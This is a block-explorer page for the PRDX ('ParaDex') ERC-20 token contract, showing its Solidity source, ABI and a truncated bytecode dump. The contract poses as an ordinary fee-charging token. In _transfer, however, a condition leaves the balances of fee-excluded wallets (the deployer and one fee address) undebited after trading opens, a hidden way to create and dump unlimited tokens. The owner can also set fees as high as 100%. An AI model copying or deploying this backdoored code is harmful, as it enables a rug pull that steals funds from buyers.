Contract

Contract Source Code (Solidity)

IDE

• Blockscan IDE
• 🤖 Code ReaderBeta
• Remix IDE

Outline

• library SafeMathLibs
•    - function add(uint256 a, uint256 b)
•    - function sub(uint256 a, uint256 b)
•    - function mul(uint256 a, uint256 b)
•    - function div(uint256 a, uint256 b)
•    - function mod(uint256 a, uint256 b)
•    - function sub(
•    - function div(
•    - function mod(
• interface IERC20
•    - function decimals()
•    - function symbol()
•    - function name()
•    - function getOwner()
•    - function totalSupply()
•    - function balanceOf(address account)
•    - function transfer(address recipient, ...
•    - function allowance(address _owner, ad ...
•    - function approve(address spender, uin ...
•    - function transferFrom(address sender, ...
•    - function isOwner(address account)
•    - function transferOwnership(address pa ...
•    - function renounceOwnership()
• interface IUniswapRouter
•    - function factory()
•    - function WETH()
•    - function addLiquidityETH(
•    - function swapExactTokensForETHSupport ...
• interface IUniswapFactory
•    - function createPair(address tokenA, a ...
•    - function getPair(address tokenA, addr ...
•  contract PRDX is IERC20, Ownable *
•    - function name()
•    - function symbol()
•    - function decimals()
•    - function getOwner()
•    - function balanceOf(address account)
•    - function transfer(address recipient, ...
•    - function allowance(address owner, add ...
•    - function approve(address spender, uin ...
•    - function totalSupply()
•    - function swapTokensForEth(uint256 tok ...
•    - function enableAll()
•    - function updateWalletAmounts(uint256 ...
•    - function transferFrom(address sender, ...
•    - function _approve(address owner, addr ...
•    - function _transfer(address sender, ad ...
•    - function updateTaxFees(uint256 _liqui ...
•    - function swapFeeAvailable(address sen ...
•    - function shouldGetTax(address sender, ...
•    - function addLiquidity(uint256 tokenAm ...
•    - function swapBack(uint256 tokens)
•    - function _getCurrentFees(address send ...
•    - function _getTransferAmount(address s ...
•    - function min(uint256 a, uint256 b)

More Options

• Similar
• Sol2Uml
• Submit Audit
• Compare

/**
 *Submitted for verification at Etherscan.io on 2023-12-15
*/

/*
Trade perpetuals on a high-performance DEX with deep liquidity, capital efficiency and low fees.

Website: https://paradefi.org
Telegram: https://t.me/paradex_erc
Twitter: https://twitter.com/paradex_erc
Dapp: https://app.paradefi.org
*/

// SPDX-License-Identifier: MIT

pragma solidity 0.8.21;

library SafeMathLibs {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        return a + b;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return a - b;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        return a * b;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return a / b;
    }

    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return a % b;
    }

    function sub(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b <= a, errorMessage);
            return a - b;
        }
    }

    function div(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b > 0, errorMessage);
            return a / b;
        }
    }

    function mod(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b > 0, errorMessage);
            return a % b;
        }
    }
}

interface IERC20 {
    function decimals() external view returns (uint8);
    function symbol() external view returns (string memory);
    function name() external view returns (string memory);
    function getOwner() external view returns (address);
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address _owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

abstract contract Ownable {
    address internal owner;
    constructor(address _owner) {owner = _owner;}
    modifier onlyOwner() {require(isOwner(msg.sender), "!OWNER"); _;}
    function isOwner(address account) public view returns (bool) {return account == owner;}
    function transferOwnership(address payable adr) public onlyOwner {owner = adr; emit OwnershipTransferred(adr);}
    function renounceOwnership() public onlyOwner {owner = address(0); emit OwnershipTransferred(address(0));}
    event OwnershipTransferred(address owner);
}

interface IUniswapRouter {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);

    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline) external;
}

interface IUniswapFactory {
    function createPair(address tokenA, address tokenB) external returns (address pairAddress_);
    function getPair(address tokenA, address tokenB) external view returns (address pairAddress_);
}

contract PRDX is IERC20, Ownable {
    using SafeMathLibs for uint256;
    string private constant _name = 'ParaDex';
    string private constant _symbol = 'PRDX';
    uint8 private constant _decimals = 18;
    uint256 private _tTotal = 10 ** 9 * (10 ** _decimals);
    IUniswapRouter _uniswapRouter;
    address public pairAddress;
    bool private _isTradeEnabled = false;
    bool private _feeSwapActivated = true;
    uint256 private _swappedTime;
    bool private _swapping;
    uint256 _buycounter = 1;
    mapping (address => uint256) _balances;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) public _isExcludedFromFee;
    uint256 private _maxFeeCeil = ( _tTotal * 3) / 100;
    uint256 private _minFeeFloor = ( _tTotal * 1) / 100000;
    modifier lockSwap {_swapping = true; _; _swapping = false;}
    uint256 private liquidityFee = 0;
    uint256 private marketingFee = 0; 
    uint256 private developmentFee = 100; 
    uint256 private burnFee = 0;
    uint256 private totalFee = 1200; 
    uint256 private sellFee = 1200; 
    uint256 private transferFee = 1200;
    uint256 private denominator = 10000;
    uint256 public maxTxAmount = ( _tTotal * 250 ) / 10000;
    uint256 public maxTransferAmount = ( _tTotal * 250 ) / 10000;
    uint256 public maxWalletAmount = ( _tTotal * 250 ) / 10000;
    address internal constant DEAD = 0x000000000000000000000000000000000000dEaD;
    address internal development_receiver = 0xFa6cE8503C7eCd4343347d90d3e3ae31A5527369;
    address internal marketing_receiver = 0xFa6cE8503C7eCd4343347d90d3e3ae31A5527369; 
    address internal liquidity_receiver = 0xFa6cE8503C7eCd4343347d90d3e3ae31A5527369;

    constructor() Ownable(msg.sender) {
        IUniswapRouter _router = IUniswapRouter(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        address _pair = IUniswapFactory(_router.factory()).createPair(address(this), _router.WETH());
        _uniswapRouter = _router; pairAddress = _pair;
        _isExcludedFromFee[liquidity_receiver] = true;
        _isExcludedFromFee[marketing_receiver] = true;
        _isExcludedFromFee[development_receiver] = true;
        _isExcludedFromFee[msg.sender] = true;
        _balances[msg.sender] = _tTotal;
        emit Transfer(address(0), msg.sender, _tTotal);
    }
    function name() public pure returns (string memory) {return _name;}
    function symbol() public pure returns (string memory) {return _symbol;}
    function decimals() public pure returns (uint8) {return _decimals;}
    function getOwner() external view override returns (address) { return owner; }
    function balanceOf(address account) public view override returns (uint256) {return _balances[account];}
    function transfer(address recipient, uint256 amount) public override returns (bool) {_transfer(msg.sender, recipient, amount);return true;}
    function allowance(address owner, address spender) public view override returns (uint256) {return _allowances[owner][spender];}
    function approve(address spender, uint256 amount) public override returns (bool) {_approve(msg.sender, spender, amount);return true;}
    function totalSupply() public view override returns (uint256) {return _tTotal.sub(balanceOf(DEAD)).sub(balanceOf(address(0)));}
    function swapTokensForEth(uint256 tokenAmount) private {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = _uniswapRouter.WETH();
        _approve(address(this), address(_uniswapRouter), tokenAmount);
        _uniswapRouter.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp);
    }
    function enableAll() external onlyOwner {_isTradeEnabled = true;}
    function updateWalletAmounts(uint256 _buy, uint256 _sell, uint256 _wallet) external onlyOwner {
        uint256 newTx = _tTotal.mul(_buy).div(10000); uint256 newTransfer = _tTotal.mul(_sell).div(10000); uint256 newWallet = _tTotal.mul(_wallet).div(10000);
        maxTxAmount = newTx; maxTransferAmount = newTransfer; maxWalletAmount = newWallet;
        uint256 limit = totalSupply().mul(5).div(1000);
        require(newTx >= limit && newTransfer >= limit && newWallet >= limit, "Max TXs and Max Wallet cannot be less than .5%");
    }
    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, msg.sender, _allowances[sender][msg.sender].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }
    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }    
    receive() external payable {}
    function _transfer(address sender, address recipient, uint256 amount) private {
        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");
        if(!_isExcludedFromFee[sender] && !_isExcludedFromFee[recipient]){require(_isTradeEnabled, "_isTradeEnabled");}
        if(!_isExcludedFromFee[sender] && !_isExcludedFromFee[recipient] && recipient != address(pairAddress) && recipient != address(DEAD)){
        require((_balances[recipient].add(amount)) <= maxWalletAmount, "Exceeds maximum wallet amount.");}
        if(sender != pairAddress){require(amount <= maxTransferAmount || _isExcludedFromFee[sender] || _isExcludedFromFee[recipient], "TX Limit Exceeded");}
        require(amount <= maxTxAmount || _isExcludedFromFee[sender] || _isExcludedFromFee[recipient], "TX Limit Exceeded"); 
        if(recipient == pairAddress && !_isExcludedFromFee[sender]){_swappedTime += uint256(1);}
        if(swapFeeAvailable(sender, recipient, amount)){swapBack(min(balanceOf(address(this)), _maxFeeCeil)); _swappedTime = uint256(0);}
        if (!_isTradeEnabled || !_isExcludedFromFee[sender]) { _balances[sender] = _balances[sender].sub(amount); }
        uint256 amountReceived = shouldGetTax(sender, recipient) ? _getTransferAmount(sender, recipient, amount) : amount;
        _balances[recipient] = _balances[recipient].add(amountReceived);
        emit Transfer(sender, recipient, amountReceived);
    }
    function updateTaxFees(uint256 _liquidity, uint256 _marketing, uint256 _burn, uint256 _development, uint256 _total, uint256 _sell, uint256 _trans) external onlyOwner {
        liquidityFee = _liquidity; marketingFee = _marketing; burnFee = _burn; developmentFee = _development; totalFee = _total; sellFee = _sell; transferFee = _trans;
        require(totalFee <= denominator && sellFee <= denominator && transferFee <= denominator, "totalFee and sellFee cannot be more than 100%");
    }
    function swapFeeAvailable(address sender, address recipient, uint256 amount) internal view returns (bool) {
        bool aboveMin = amount >= _minFeeFloor;
        bool aboveThreshold = balanceOf(address(this)) >= _minFeeFloor;
        return !_swapping && _feeSwapActivated && _isTradeEnabled && aboveMin && !_isExcludedFromFee[sender] && recipient == pairAddress && _swappedTime >= _buycounter && aboveThreshold;
    }
    function shouldGetTax(address sender, address recipient) internal view returns (bool) {
        return !_isExcludedFromFee[sender] && !_isExcludedFromFee[recipient];
    }
    
    function addLiquidity(uint256 tokenAmount, uint256 ETHAmount) private {
        _approve(address(this), address(_uniswapRouter), tokenAmount);
        _uniswapRouter.addLiquidityETH{value: ETHAmount}(
            address(this),
            tokenAmount,
            0,
            0,
            liquidity_receiver,
            block.timestamp);
    }
    function swapBack(uint256 tokens) private lockSwap {
        uint256 _denominator = (liquidityFee.add(1).add(marketingFee).add(developmentFee)).mul(2);
        uint256 tokensToAddLiquidityWith = tokens.mul(liquidityFee).div(_denominator);
        uint256 toSwap = tokens.sub(tokensToAddLiquidityWith);
        uint256 initialBalance = address(this).balance;
        swapTokensForEth(toSwap);
        uint256 deltaBalance = address(this).balance.sub(initialBalance);
        uint256 unitBalance= deltaBalance.div(_denominator.sub(liquidityFee));
        uint256 ETHToAddLiquidityWith = unitBalance.mul(liquidityFee);
        if(ETHToAddLiquidityWith > uint256(0)){addLiquidity(tokensToAddLiquidityWith, ETHToAddLiquidityWith); }
        uint256 marketingAmt = unitBalance.mul(2).mul(marketingFee);
        if(marketingAmt > 0){payable(marketing_receiver).transfer(marketingAmt);}
        uint256 contractBalance = address(this).balance;
        if(contractBalance > uint256(0)){payable(development_receiver).transfer(contractBalance);}
    }
    function _getCurrentFees(address sender, address recipient) internal view returns (uint256) {
        if(recipient == pairAddress){return sellFee;}
        if(sender == pairAddress){return totalFee;}
        return transferFee;
    }
    function _getTransferAmount(address sender, address recipient, uint256 amount) internal returns (uint256) {
        if(_getCurrentFees(sender, recipient) > 0){
        uint256 feeAmount = amount.div(denominator).mul(_getCurrentFees(sender, recipient));
        _balances[address(this)] = _balances[address(this)].add(feeAmount);
        emit Transfer(sender, address(this), feeAmount);
        if(burnFee > uint256(0) && _getCurrentFees(sender, recipient) > burnFee){_transfer(address(this), address(DEAD), amount.div(denominator).mul(burnFee));}
        return amount.sub(feeAmount);} return amount;
    }
    function min(uint256 a, uint256 b) private pure returns (uint256) {
      return (a > b) ? b : a;
    }
}

• No Contract Security Audit Submitted- Submit Audit Here

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"owner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_isExcludedFromFee","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"enableAll","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"getOwner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"isOwner","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxTransferAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxWalletAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"pairAddress","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address payable","name":"adr","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_liquidity","type":"uint256"},{"internalType":"uint256","name":"_marketing","type":"uint256"},{"internalType":"uint256","name":"_burn","type":"uint256"},{"internalType":"uint256","name":"_development","type":"uint256"},{"internalType":"uint256","name":"_total","type":"uint256"},{"internalType":"uint256","name":"_sell","type":"uint256"},{"internalType":"uint256","name":"_trans","type":"uint256"}],"name":"updateTaxFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_buy","type":"uint256"},{"internalType":"uint256","name":"_sell","type":"uint256"},{"internalType":"uint256","name":"_wallet","type":"uint256"}],"name":"updateWalletAmounts","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

6080604052620000126012600a620004b0565b6200002290633b9aca00620004c7565b60018181556003805461ffff60a01b1916600160a81b1781556006919091556064916200004f91620004c7565b6200005b9190620004e1565b600a55620186a06001546001620000739190620004c7565b6200007f9190620004e1565b600b555f600c555f600d556064600e555f600f556104b06010556104b06011556104b060125561271060135561271060015460fa620000bf9190620004c7565b620000cb9190620004e1565b60145561271060015460fa620000e29190620004c7565b620000ee9190620004e1565b60155561271060015460fa620001059190620004c7565b620001119190620004e1565b6016556017805473fa6ce8503c7ecd4343347d90d3e3ae31a55273696001600160a01b031991821681179092556018805482168317905560198054909116909117905534801562000160575f80fd5b505f80546001600160a01b031916331781556040805163c45a015560e01b81529051737a250d5630b4cf539739df2c5dacb4c659f2488d9291839163c45a0155916004808201926020929091908290030181865afa158015620001c5573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190620001eb919062000501565b6001600160a01b031663c9c6539630846001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801562000237573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906200025d919062000501565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af1158015620002a8573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190620002ce919062000501565b600280546001600160a01b038581166001600160a01b03199283161790925560038054848416921691909117905560195481165f908152600960209081526040808320805460ff19908116600190811790925560185486168552828520805482168317905560175490951684528184208054861682179055338085528285208054909616821790955554600783528184208190559051908152939450919290917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a3505062000529565b634e487b7160e01b5f52601160045260245ffd5b600181815b80851115620003f557815f1904821115620003d957620003d9620003a1565b80851615620003e757918102915b93841c9390800290620003ba565b509250929050565b5f826200040d57506001620004aa565b816200041b57505f620004aa565b81600181146200043457600281146200043f576200045f565b6001915050620004aa565b60ff841115620004535762000453620003a1565b50506001821b620004aa565b5060208310610133831016604e8410600b841016171562000484575081810a620004aa565b620004908383620003b5565b805f1904821115620004a657620004a6620003a1565b0290505b92915050565b5f620004c060ff841683620003fd565b9392505050565b8082028115828204841417620004aa57620004aa620003a1565b5f82620004fc57634e487b7160e01b5f52601260045260245ffd5b500490565b5f6020828403121562000512575f80fd5b81516001600160a01b0381168114620004c0575f80fd5b61180080620005375f395ff3fe608060405260043610610129575f3560e01c8063893d20e8116100a8578063a9e757231161006d578063a9e7572314610368578063aa4bde281461037d578063b09d6d5d14610392578063dd62ed3e146103b1578063ef45da3e146103f5578063f2fde38b14610414575f80fd5b8063893d20e8146102b95780638c0b5e22146102e957806395d89b41146102fe578063a8b089821461032a578063a9059cbb14610349575f80fd5b8063313ce567116100ee578063313ce5671461021257806347f2c3631461022d57806370a0823114610243578063715018a614610277578063768dc7101461028b575f80fd5b806306fdde0314610134578063095ea7b31461017557806318160ddd146101a457806323b872dd146101c65780632f54bf6e146101e5575f80fd5b3661013057005b5f80fd5b34801561013f575f80fd5b506040805180820190915260078152660a0c2e4c288caf60cb1b60208201525b60405161016c91906114bd565b60405180910390f35b348015610180575f80fd5b5061019461018f36600461151f565b610433565b604051901515815260200161016c565b3480156101af575f80fd5b506101b8610449565b60405190815260200161016c565b3480156101d1575f80fd5b506101946101e0366004611549565b6104b9565b3480156101f0575f80fd5b506101946101ff366004611587565b5f546001600160a01b0391821691161490565b34801561021d575f80fd5b506040516012815260200161016c565b348015610238575f80fd5b50610241610521565b005b34801561024e575f80fd5b506101b861025d366004611587565b6001600160a01b03165f9081526007602052604090205490565b348015610282575f80fd5b50610241610568565b348015610296575f80fd5b506101946102a5366004611587565b60096020525f908152604090205460ff1681565b3480156102c4575f80fd5b505f546001600160a01b03165b6040516001600160a01b03909116815260200161016c565b3480156102f4575f80fd5b506101b860145481565b348015610309575f80fd5b506040805180820190915260048152630a0a488b60e31b602082015261015f565b348015610335575f80fd5b506003546102d1906001600160a01b031681565b348015610354575f80fd5b5061019461036336600461151f565b6105d5565b348015610373575f80fd5b506101b860155481565b348015610388575f80fd5b506101b860165481565b34801561039d575f80fd5b506102416103ac3660046115a2565b6105e1565b3480156103bc575f80fd5b506101b86103cb3660046115e9565b6001600160a01b039182165f90815260086020908152604080832093909416825291909152205490565b348015610400575f80fd5b5061024161040f366004611620565b6106be565b34801561041f575f80fd5b5061024161042e366004611587565b6107f1565b5f61043f33848461086d565b5060015b92915050565b60076020527f6d5257204ebe7d88fd91ae87941cb2dd9d8062b64ae5a2bd2d28ec40b9fbf6df5461dead5f9081527fb0c2646e02af70b79e3fe9277b98373379f54150e4e26b2b5650139f7a75a65d5460015491926104b49290916104ae9190610990565b90610990565b905090565b5f6104c584848461099b565b6105168433610511856040518060600160405280602881526020016117a3602891396001600160a01b038a165f9081526008602090815260408083203384529091529020549190610ea5565b61086d565b5060015b9392505050565b5f546001600160a01b031633146105535760405162461bcd60e51b815260040161054a90611649565b60405180910390fd5b6003805460ff60a01b1916600160a01b179055565b5f546001600160a01b031633146105915760405162461bcd60e51b815260040161054a90611649565b5f80546001600160a01b03191681556040519081527f04dba622d284ed0014ee4b9a6a68386be1a4c08a4913ae272de89199cc6861639060200160405180910390a1565b5f61043f33848461099b565b5f546001600160a01b0316331461060a5760405162461bcd60e51b815260040161054a90611649565b600c879055600d869055600f859055600e8490556010839055601182905560128190556013548311801590610643575060135460115411155b8015610653575060135460125411155b6106b55760405162461bcd60e51b815260206004820152602d60248201527f746f74616c46656520616e642073656c6c4665652063616e6e6f74206265206d60448201526c6f7265207468616e203130302560981b606482015260840161054a565b50505050505050565b5f546001600160a01b031633146106e75760405162461bcd60e51b815260040161054a90611649565b5f61070961271061070386600154610ed090919063ffffffff16565b90610edb565b90505f61072761271061070386600154610ed090919063ffffffff16565b90505f61074561271061070386600154610ed090919063ffffffff16565b60148490556015839055601681905590505f6107706103e8610703600561076a610449565b90610ed0565b90508084101580156107825750808310155b801561078e5750808210155b6106b55760405162461bcd60e51b815260206004820152602e60248201527f4d61782054587320616e64204d61782057616c6c65742063616e6e6f7420626560448201526d206c657373207468616e202e352560901b606482015260840161054a565b5f546001600160a01b0316331461081a5760405162461bcd60e51b815260040161054a90611649565b5f80546001600160a01b0319166001600160a01b0383169081179091556040519081527f04dba622d284ed0014ee4b9a6a68386be1a4c08a4913ae272de89199cc6861639060200160405180910390a150565b6001600160a01b0383166108cf5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161054a565b6001600160a01b0382166109305760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161054a565b6001600160a01b038381165f8181526008602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b5f61051a828461167d565b6001600160a01b0383166109ff5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161054a565b6001600160a01b038216610a615760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161054a565b6001600160a01b0383165f9081526009602052604090205460ff16158015610aa157506001600160a01b0382165f9081526009602052604090205460ff16155b15610af157600354600160a01b900460ff16610af15760405162461bcd60e51b815260206004820152600f60248201526e17da5cd51c985919515b98589b1959608a1b604482015260640161054a565b6001600160a01b0383165f9081526009602052604090205460ff16158015610b3157506001600160a01b0382165f9081526009602052604090205460ff16155b8015610b4b57506003546001600160a01b03838116911614155b8015610b6257506001600160a01b03821661dead14155b15610bda576016546001600160a01b0383165f90815260076020526040902054610b8c9083610ee6565b1115610bda5760405162461bcd60e51b815260206004820152601e60248201527f45786365656473206d6178696d756d2077616c6c657420616d6f756e742e0000604482015260640161054a565b6003546001600160a01b03848116911614610c795760155481111580610c1757506001600160a01b0383165f9081526009602052604090205460ff165b80610c3957506001600160a01b0382165f9081526009602052604090205460ff165b610c795760405162461bcd60e51b8152602060048201526011602482015270151608131a5b5a5d08115e18d959591959607a1b604482015260640161054a565b60145481111580610ca157506001600160a01b0383165f9081526009602052604090205460ff165b80610cc357506001600160a01b0382165f9081526009602052604090205460ff165b610d035760405162461bcd60e51b8152602060048201526011602482015270151608131a5b5a5d08115e18d959591959607a1b604482015260640161054a565b6003546001600160a01b038381169116148015610d3857506001600160a01b0383165f9081526009602052604090205460ff16155b15610d5557600160045f828254610d4f9190611690565b90915550505b610d60838383610ef1565b15610d8e57305f90815260076020526040902054610d8990610d8490600a54610fa8565b610fbc565b5f6004555b600354600160a01b900460ff161580610dbf57506001600160a01b0383165f9081526009602052604090205460ff16155b15610dff576001600160a01b0383165f90815260076020526040902054610de69082610990565b6001600160a01b0384165f908152600760205260409020555b5f610e0a848461112c565b610e145781610e1f565b610e1f848484611170565b6001600160a01b0384165f90815260076020526040902054909150610e449082610ee6565b6001600160a01b038085165f8181526007602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610e979085815260200190565b60405180910390a350505050565b5f8184841115610ec85760405162461bcd60e51b815260040161054a91906114bd565b505050900390565b5f61051a82846116a3565b5f61051a82846116ba565b5f61051a8284611690565b600b54305f90815260076020526040812054600554919280851015929110159060ff16158015610f2a5750600354600160a81b900460ff165b8015610f3f5750600354600160a01b900460ff165b8015610f485750815b8015610f6c57506001600160a01b0386165f9081526009602052604090205460ff16155b8015610f8557506003546001600160a01b038681169116145b8015610f95575060065460045410155b8015610f9e5750805b9695505050505050565b5f818311610fb6578261051a565b50919050565b6005805460ff19166001908117909155600e54600d54600c545f93610ff59360029361076a939192610fef928391610ee6565b90610ee6565b90505f61101182610703600c5486610ed090919063ffffffff16565b90505f61101e8483610990565b90504761102a82611272565b5f6110354783610990565b90505f611057611050600c548861099090919063ffffffff16565b8390610edb565b90505f61106f600c5483610ed090919063ffffffff16565b905080156110815761108186826113c2565b600d545f906110959061076a856002610ed0565b905080156110d6576018546040516001600160a01b039091169082156108fc029083905f818181858888f193505050501580156110d4573d5f803e3d5ffd5b505b478015611116576017546040516001600160a01b039091169082156108fc029083905f818181858888f19350505050158015611114573d5f803e3d5ffd5b505b50506005805460ff191690555050505050505050565b6001600160a01b0382165f9081526009602052604081205460ff1615801561051a5750506001600160a01b03165f9081526009602052604090205460ff1615919050565b5f8061117c8585611473565b111561126b575f61119e6111908686611473565b60135461076a908690610edb565b305f908152600760205260409020549091506111ba9082610ee6565b305f81815260076020526040908190209290925590516001600160a01b038716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9061120a9085815260200190565b60405180910390a35f600f5411801561122d5750600f5461122b8686611473565b115b15611259576112593061dead611254600f5461076a60135489610edb90919063ffffffff16565b61099b565b6112638382610990565b91505061051a565b5092915050565b6040805160028082526060820183525f9260208301908036833701905050905030815f815181106112a5576112a56116d9565b6001600160a01b03928316602091820292909201810191909152600254604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa1580156112fc573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061132091906116ed565b81600181518110611333576113336116d9565b6001600160a01b039283166020918202929092010152600254611359913091168461086d565b60025460405163791ac94760e01b81526001600160a01b039091169063791ac947906113919085905f90869030904290600401611708565b5f604051808303815f87803b1580156113a8575f80fd5b505af11580156113ba573d5f803e3d5ffd5b505050505050565b6002546113da9030906001600160a01b03168461086d565b60025460195460405163f305d71960e01b8152306004820152602481018590525f6044820181905260648201526001600160a01b0391821660848201524260a482015291169063f305d71990839060c40160606040518083038185885af1158015611447573d5f803e3d5ffd5b50505050506040513d601f19601f8201168201806040525081019061146c9190611777565b5050505050565b6003545f906001600160a01b03908116908316036114945750601154610443565b6003546001600160a01b03908116908416036114b35750601054610443565b5060125492915050565b5f6020808352835180828501525f5b818110156114e8578581018301518582016040015282016114cc565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b038116811461151c575f80fd5b50565b5f8060408385031215611530575f80fd5b823561153b81611508565b946020939093013593505050565b5f805f6060848603121561155b575f80fd5b833561156681611508565b9250602084013561157681611508565b929592945050506040919091013590565b5f60208284031215611597575f80fd5b813561051a81611508565b5f805f805f805f60e0888a0312156115b8575f80fd5b505085359760208701359750604087013596606081013596506080810135955060a0810135945060c0013592509050565b5f80604083850312156115fa575f80fd5b823561160581611508565b9150602083013561161581611508565b809150509250929050565b5f805f60608486031215611632575f80fd5b505081359360208301359350604090920135919050565b60208082526006908201526510a7aba722a960d11b604082015260600190565b634e487b7160e01b5f52601160045260245ffd5b8181038181111561044357610443611669565b808201808211156104435